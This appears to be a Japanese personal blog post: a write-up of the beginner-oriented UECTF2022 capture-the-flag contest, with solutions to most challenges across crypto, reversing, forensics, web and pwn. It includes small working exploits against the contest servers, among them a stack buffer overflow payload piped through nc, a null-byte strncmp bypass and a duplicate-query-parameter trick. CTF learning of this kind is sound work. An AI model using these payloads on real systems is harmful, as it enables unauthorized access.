しょんぼり技術メモ

まいにちがしょんぼり

UECTF2022に参加した

前回、TsukuCTFで人生初CTF参加を果たし、その面白さを知ってしまった。そんなタイミングで、初心者向けCTFとしてUECTF2022が開催されたので参加しました。その結果、23/25問をクリアして、6位でした。

uectf.uec.tokyo

タイミング的には本来は外出の予定が入ってたんですが、家族揃って風邪引いたため予定がキャンセルとなり、結果的には腰を据えて取り組むことができました。開催期間が長いのも所帯持ちにはありがたいですねホント……

今回はメモをちゃんと残しながら解いていったので、その順番に書いていきます。

MISC/WELCOME (88solves)

discordにflagが貼ってある。

UECTF{C4PTURE_TH3_FL4G_2022}

MISC/carsar (68solves)

caesar_source.py を読んでいくと、ちょっと拡張したシーザー暗号の様子。シフト数は+14で、文字範囲(letter)は AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ となっている。これを通した結果が caesar_output.txt に書いてあり、 2LJ0MF0o&*E&zEhEi&1EKpmm&J3s1Ej)(zlYG となる。

というわけで、素直に逆の処理を行えばOK。

from string import ascii_uppercase,ascii_lowercase,digits,punctuation

CRYPTED = "2LJ0MF0o&*E&zEhEi&1EKpmm&J3s1Ej)(zlYG"

def decode(crypted):
  plain=''
  for i in crypted:
    index=letter.index(i)
    plain=plain+letter[(index-14)%len(letter)]
  return plain

ascii_all=''
for i in range(len(ascii_uppercase)):
  ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i]
letter=ascii_all+digits+punctuation
print(decode(CRYPTED))

UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}

MISC/redaction gone wrong 1 (71solves)

PDFが渡され、おもむろにフラグ文字列が書かれている。が、黒塗りされており、コピー禁止がかかっている。 pdftotextで拾おうとすると"nope"となってしまう。

acrobat readerで開いて、文章を拡大縮小するとラグで黒塗り部分がズレて一瞬読めるようになるので、キャプチャして読み取ろう……と思ったが、実は黒塗り部分は選択して削除できる。

UECTF{PDFs_AR3_D1ffiCulT_74d21e8}

REV/A file (81solves)

とりあえず問題ファイルをfileコマンドに掛けるとXZ compressed dataと出てくる。chall.xzにリネームして展開するとELFバイナリが出てくる。

stringsするとそれっぽく出てくるが、まあ罠ですよね。

The flag is below:
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
Nice try, but you need to do a bit more...

というわけでGhidraで開いて処理を追いかけたものの、Nice try, but you need to do a bit more... が罠の方だった。

UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

REV/revPython (20solves)

Pythonコンパイル済みバイナリであるpycが提供される。丁寧にcpython-39とファイル名に書いてあるので、python 3.9対応のpycデコンパイラを使う。 pycdcであれば対応しているとのことだったので、逆コンパイルしてみると…未対応の命令で不十分な出力となってしまう。

XOR取ってるのは間違いないんだけど…と思いながら逆アセンブル(こちらは通る)した結果と不十分な逆コンパイルの結果をにらめっこしてコードを補足していく。

from hashlib import sha256
prefix = 'UECTF{'
user_key = input('flag: ')

def H(localvalue = None):
    return sha256(localvalue.encode('utf-8')).hexdigest()


def xor_image(data = None, key = None):
    if type(key) != 'bytes':
        key = bytes(key, 'latin1')
    return byte( [d ^ key[i % len(prefix)] for i, d in enumerate(data)])


def run():
    if (len(user_key) != 31):
        return None
    if (user_key[:len(prefix)] != prefix):
        return None
    KEY = "ce6f4d9b828498b851adea9ba3bd5f6e21ec3f1a463616ed0d3ebd61954d3448"
    if (H(user_key) != KEY):
        return None
    output = b''
    with open("flag.jpg_", "rb") as image_data:
        output = xor_image(image_data.read(), user_key)
    with open("unpacked", "wb") as f:
        f.write(output)

if __name__ == '__main__':
    run()

というわけで、sha256.hexdigestがce6f4d9b828498b851adea9ba3bd5f6e21ec3f1a463616ed0d3ebd61954d3448となるuser_keyがフラグっぽい。 user_keyは31文字でUECTF{で始まるもの。フラグフォーマットはUECTF{[\x20-\x7e]+}でちょっと広いが。。。

flag.jpg_ を読み込んでuser_keyでXOR取ったものがflag.jpgなので、flag.jpgのJPEGヘッダを復元できるuser_keyを探せば良いのでは?ということで最初の31バイトをそれらしく復元できるuser_keyを探す方向で考えてみる。

と思って適当な文字列で復号化した画像を作成してみたら読める画像ファイルが出来上がった。ヘッダだけちゃんと直せれば大丈夫だったってことか…?

UECTF{oh..did1s0meh0wscr3wup??}

FORENSICS/Deleted (53solves)

イメージファイルが提供されるので、削除されたファイルを探す問題。 とりあえずイメージファイルをfileにかけると、とりあえず素直なNTFSパーティションを持つっぽい。

$ file image.raw
image.raw: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 2048, dos < 4.0 BootSector (0x0), FAT (1Y bit by descriptor); NTFS, sectors/track 63, physical drive 0x80, sectors 16383, $MFT start cluster 682, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 06e8081f48081c357; contains bootstrap BOOTMGR

というわけで、ntfsundeleteでスキャンしてみると、flag.png というズバリのファイル(inode=39)が見つかる。

$ ntfsundelete --scan image.raw
Inode    Flags  %age     Date    Time       Size  Filename
-----------------------------------------------------------------------
16       F..!     0%  1970-01-01 09:00         0  <none>
17       F..!     0%  1970-01-01 09:00         0  <none>
18       F..!     0%  1970-01-01 09:00         0  <none>
19       F..!     0%  1970-01-01 09:00         0  <none>
20       F..!     0%  1970-01-01 09:00         0  <none>
21       F..!     0%  1970-01-01 09:00         0  <none>
22       F..!     0%  1970-01-01 09:00         0  <none>
23       F..!     0%  1970-01-01 09:00         0  <none>
37       FR..   100%  2022-11-06 00:19        16  test1.txt
39       FN..   100%  2022-11-08 21:02     11095  flag.png
40       FN..   100%  2022-11-08 12:47    405414  uec.bmp
42       FN..   100%  2022-11-08 21:13    620493  mv_ARIMjapan_pc.png
43       FN..   100%  2022-11-08 21:11    187550  mv_choufusai2022_pc.jpg
47       FN..   100%  2022-11-08 21:11    325942  mv_oc2022-2-1_pc.jpg
49       FN..   100%  2022-11-08 21:14     41353  uec.gif
50       FN..   100%  2022-11-08 20:30     38679  uec.jpg
51       FN..   100%  2022-11-08 21:15    159306  uec.tif
52       F..!     0%  1970-01-01 09:00         0  <none>
$ ntfsundelete image.raw --undelete --inode=39 --output=flag.png
Inode    Flags  %age  Date            Size  Filename
---------------------------------------------------------------
39       FN..     0%  2022-11-08 21:02     11095  flag.png

保存したファイルを開くとフラグが書いてあった。

UECTF{TH1S_1M4G3_H4S_N0T_B33N_D3L3T3D}

CRYPTO/RSA (57solves)

rsa_source.py と output.txt が提供される。後者にRSAのp, q, eと暗号文が入っているので、それを復号する問題。

dを拡張ユークリッドの互除法で求めて計算するだけ(ではあるものの、授業で習ったの十年以上前だよな…という別のポイントで頭が痛くなった)

from Crypto.Util.number import long_to_bytes, GCD

p=1023912815644413192823405424909
q=996359224633488278278270361951
e=65537
cipher=40407051770242960331089168574985439308267920244282326945397

# ref: https://falconctf.hatenablog.com/entry/2019/09/12/204907
def extend_gcd(a,b):
    k_list=[]
    while b != GCD(a,b):
        r = a % b
        k_list.append((a - r) // b)
        a = b
        b = r
    k_list.reverse()
    y = 1
    x = 0
    for k in k_list:
        temp_y = y
        y = x - k * temp_y
        x = temp_y
    return [x,y]

N=p*q
d, _ = extend_gcd(e, (p-1)*(q-1))
plain = pow(cipher, d, N)
plain_text = long_to_bytes(plain)
print(plain_text.decode('latin1'))

UECTF{RSA-iS-VeRy-51Mp1e}

MISC/redaction gone wrong 2 (54solves)

flag.png が提供される。雑に黒塗り?された画像ファイルだが、うっすら下の文字が読めてしまう。 白レベルを調整してやると文字が見えるようになる。

UECTF{N3ver_ever_use_A_p3n_rofl}

MISC/GIF1 (59solves)

GIFアニメが問題ファイル。graphicsmagickで展開してやる。

$ gm convert UEC_Anime.gif -coalesce +adjoin frame%3d.png

するとframe 85だけファイルサイズが違っており、そこにフラグが書いてある。

UECTF{G1F_4N1M4T10NS_4R3_GR34T!!}

MISC/PDF (16solves)

一貫性のあるPDF という問題。5ページのdummy, 111ページの空白、5ページのdummyという謎のファイル。 acrobat readerで開いていると、ページ番号がおかしな変化をしていくことに気付く。 つらい思いをしながら一文字一文字記録していき、なんとなくbase64に掛けたらフラグが出てきた。

なお途中でいくつかtypoがあり、ふっかつのじゅもんを彷彿とさせる地獄だった。

$ echo "VUVDVEZ7RG8teTBVLWtOb3ctN2hBVC1QZGYtcGE5RS1OdW1CM1I1LUNBTi1VU0UtTEV0N2VSUy0wN2hFci1USDROLVJPbUBuLU5VTTNSNDEkP30i" | base64 --decode; echo
UECTF{Do-y0U-kNow-7hAT-Pdf-pa9E-NumB3R5-CAN-USE-LEt7eRS-07hEr-TH4N-ROm@n-NUM3R41$?}

UECTF{Do-y0U-kNow-7hAT-Pdf-pa9E-NumB3R5-CAN-USE-LEt7eRS-07hEr-TH4N-ROm@n-NUM3R41$?}"

FORENSICS/Compare (33solves)

新旧2つのビットマップファイルが与えられる。

$ hexdump -C UECTF_new.bmp > after.dump
$ hexdump -C UECTF_org.bmp > before.dump
$ diff -u before.dump after.dump

するとフラグがちょっとずつ書いてある。

UECTF{compare_two_files_byte_by_byte}

PWN/buffer_overflow (48solves)

-fno-stack-protectorをつけています。という親切なガイド付き。 コードを見るとscanfでnameに読み込んでいる部分でバッファオーバーフローが起こせる。 debug_flag→name[15]という順番で宣言されているので、name[15]からはみ出した部分がdebug_flagに入ることを利用してdebug_flagを"1"にする。

$ python3 -c 'print("a"*15 + "1")' | nc uectf.uec.tokyo
30002
What is your name?
>[DEBUG]:flag is UECTF{ye4h_th1s_i5_B0f_flag}
Hello aaaaaaaaaaaaaaa1.

UECTF{ye4h_th1s_i5_B0f_flag}

PWN/buffer_overflow_2 (6solves) / 未回答

解けなかった……フラグの気配がないことからなんとかしてシェルコードを実行する必要がありそうだが、スタックオーバーフローがうまくいかず。 ROPがんばる必要があったようです。勉強にはなりました。

MISC/GIF2 (30solves)

今度は人の目に見えないバージョンのGIFアニメ問題。 同様にgmで各フレームに展開し、黒レベルをいじっていくと上の方にフラグ文字列が見える。

UECTF{TH1S_1S_TH3_3NTR4NC3_T0_ST3G4N0GR4PHY}

FORENSICS/Discord 1 (30solves)

discordのデータが提供され、消えた画像ファイルを見つける問題。あからさまに怪しいCacheフォルダがあるので、fileコマンドで見ていくといくつかPNG image dataが出てくる。 しらみつぶしに確認していくと、f_00003a.png にフラグが書いてあった。

UECTF{D1SC0RD_1S_V3RY_US3FUL!!}

MISC/OSINT (13solves)

@yatanano__ というTwitterアカウントについて調べる問題。とりあえず現存しないので、wayback machineにURLを入れてみると10/26のエントリが出てくる。ツイートは3件あるもヒントになりそうなものはなし。

ここでソースコードを見てみると、author.identifierにIDとして1585261641125416961が書いてある。 このIDを変換ツール https://dev.matumo.com/tool/twitter/getid.php でIDから逆引きすると @ftceu であることがわかる。

ここにアクセスすると、pastebinのURLとパスワードが書いてあるのでアクセスしてフラグを得る。

UECTF{ur_a_tw1tter_mast3r__arent_y0u}

REV/captainhook (21solves)

乱数でうまく通ればフラグが出てくるっぽい問題。Ghidraで開き、success になるまでの経路にあるJNZをNOPで潰したらフラグが得られた。 冷静に考えてみれば、JNZをJZにする方がスマートだったと思います。

UECTF{hmmmm_how_did_you_solve_this?}

MISC/WHEREAMI (16solves)

何やら7RJP2C22+2222222のようなものが大量に書いてある問題。 問題文が「あなたの元に「私はどこにいるでしょう?」という件名の謎の文字列が書かれたメールが送られてきました。 さて、これは何を示しているのでしょうか?」というものなので、おそらく座標なんだろうなあと想像しながらいろいろなジオコードを調べてみるもののいまいちピンとこない。

ダメ元でGoogleMapsに入れたところ、すんなり場所にピンが落ちた。(後で調べたらPlusCodeというものらしい。 / 後からヒントとして提供されました)

あとはこれをどうプロットするか、というところ。(当初、これをUTMグリッドだと勘違いしていたので名称にutmを使っていますがpluscodeが正しい) Googleマイマップではcsvをインポートできるので、無理矢理CSVという扱いにして投げ込む。

$ echo "utm,dummy" > mail.csv
$ sed 's/$/,/g' mail.txt >> mail.csv

あとはこのファイルをGoogleマイマップでインポートし、座標も名称もutmフィールドを指定すればピンが大量に置かれる。 その形を読み取ればよい……のですが、大文字小文字が分かりづらくてかなり悩みました。。。

UECTF{D1d_y0u_Kn0w_aB0ut_Km1?}

ちなみに2着でした。おしい…

FORENSICS/Discord2 (21solves)

今度は書きかけのフラグ文字列を探せという問題。フラグだと書いてあるので、UECTF{...}の形式のテキストがどこかにあったらラッキーだなと思ってひとまず雑に探してみる。

$ fgrep -ir uectf *
Binary file Local Storage/leveldb/000004.log matches

$ strings "Local Storage/leveldb/000004.log" | fgrep -i uectf
{"_state":{"1039033893849944084":{"1039070178207617074":{"0":{"timestamp":1667806462142,"draft":"UECTF{Y0U_C4N_S33_Y0UR_DRAFT}"}}}},"_version":2}

いました。こんなストレートに残ってるものなんですね……

UECTF{Y0U_C4N_S33_Y0UR_DRAFT}

REV/discrete (16solves)

フラグチェッカーが提供されるのでフラグを探すという問題。 Ghidraで開いてCorrect, Wrong判定している箇所の周辺を眺めると、

  • 入力は0x22=34文字
  • 3文字ごとにstrncmp()で比較している

ことがわかった。というわけで下記のスクリプトでstrncmp()でブレークさせ、3文字ずつ比較対象のRAXレジスタの値を控えていく。

from pwn import *

elf = ELF("./chall")
context.binary = elf

io = gdb.debug("./chall", '''
b strncmp
''')

#           UECTF{...........................}
payload = b'UECTF{dynamic_static_strings_2022}'

io.sendline(payload)
print(io.recvline())

UECTF{dynamic_static_strings_2022}

WEB/webapi (42solves)

URL( http://uectf.uec.tokyo:4447/ )にアクセスすると、Server Errorとなっている。 コンソールを開くとCORS違反となっていることが確認できるので、curlでそのURLにアクセスすればフラグが得られる。

Access to fetch at 'https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/' from origin 'http://uectf.uec.tokyo:4447' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
$ curl 'https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/'
UECTF{cors_is_browser_feature}

UECTF{cors_is_browser_feature}

WEB/request-validation (21solves)

「GETリクエストでオブジェクトを送ることができますか?」という問題。まず手元で試せというのでdocker composeで再現しようとしたらpackage.jsonがなくて地味に困る。回答後に問い合わせたら意図したものではなく不備だったとのことでした。

package.jsonをでっち上げて手元環境を作り、console.logを仕込みながらいろいろとリクエストを送ってみる。

処理的には typeof req.request.q === "object"となるように、GETリクエストのqを設定すればよいらしい。というわけで、?q=QQQ&q=qqqのようなリクエストを送ってみると、{q: ["QQQ", "qqq"]}というオブジェクトになることがわかった。

$ curl -XGET 'http://uectf.uec.tokyo:4446/?q=Q&q=q'
UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}

UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}

PWN/rot13 (6solves) / 未回答

糸口が見当たらず、仮にアドレスをいじくれてもROPなどができる気がしなかったのでパスしました。。。

PWN/guess (19solves)

パスワードをあてよ、という問題だが、ブルートフォースではなく解けるものだそう。 ヒントは「32文字入力するとどうなりますか?」というもの。

32文字きっかり入力すると、bufの次にいるpwの先頭がヌル文字になる。 strncmpでpwとbufを比較しているので、bufの先頭がヌル文字になっていればヌル文字同士の比較となりtrueになることがわかる。

$ echo -en '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | nc uectf.uec.tokyo 9001
Guess my password
> Correct!!!
UECTF{Wow_are_you_Esper?}

UECTF{Wow_are_you_Esper?}

REV/dotnet (11solves)

.net製のlinuxバイナリが問題ファイル。ILSpyで開いてUECTF2022_dotnetを覗いてみると、UserString Heapに 1EDA23758BE9E36E5E0D2A6A87DE584AACA0193F が見える。SHA1がコレになるのがパスワードっぽい。

が、このSHA1ググるSHA1(Administrator) であることがわかる。 起動して入力するとフラグが得られる。(本来はたぶん難読化された処理を追いかけていくはず…?)

$ ./chall_x86_64_linux
Please input password:
Administrator
UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}

UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}

感想

PWN/buffer_overflow_2 と PWN/rot13 以外は解けたのでそれなりに達成感を味わえました。と共に、PWN難しいなあ……ちゃんと手を動かして勉強しないとなあ……という気持ちが深まりました。 今回のCTFを通して、Ghidraやpwntools, ILSpyやgraphicsmagickといったツールの使い方も勉強できたので、とても実り多いCTFになりました。

繰り返しになりますが、開催期間が長かったおかげで落ち着いて問題に取り組めました。合間に家事や子供の世話をしても余裕がある、というだけで気軽に参加できるのは本当にありがたいです。

参加者の皆さん、運営の皆さん、お疲れさまでした!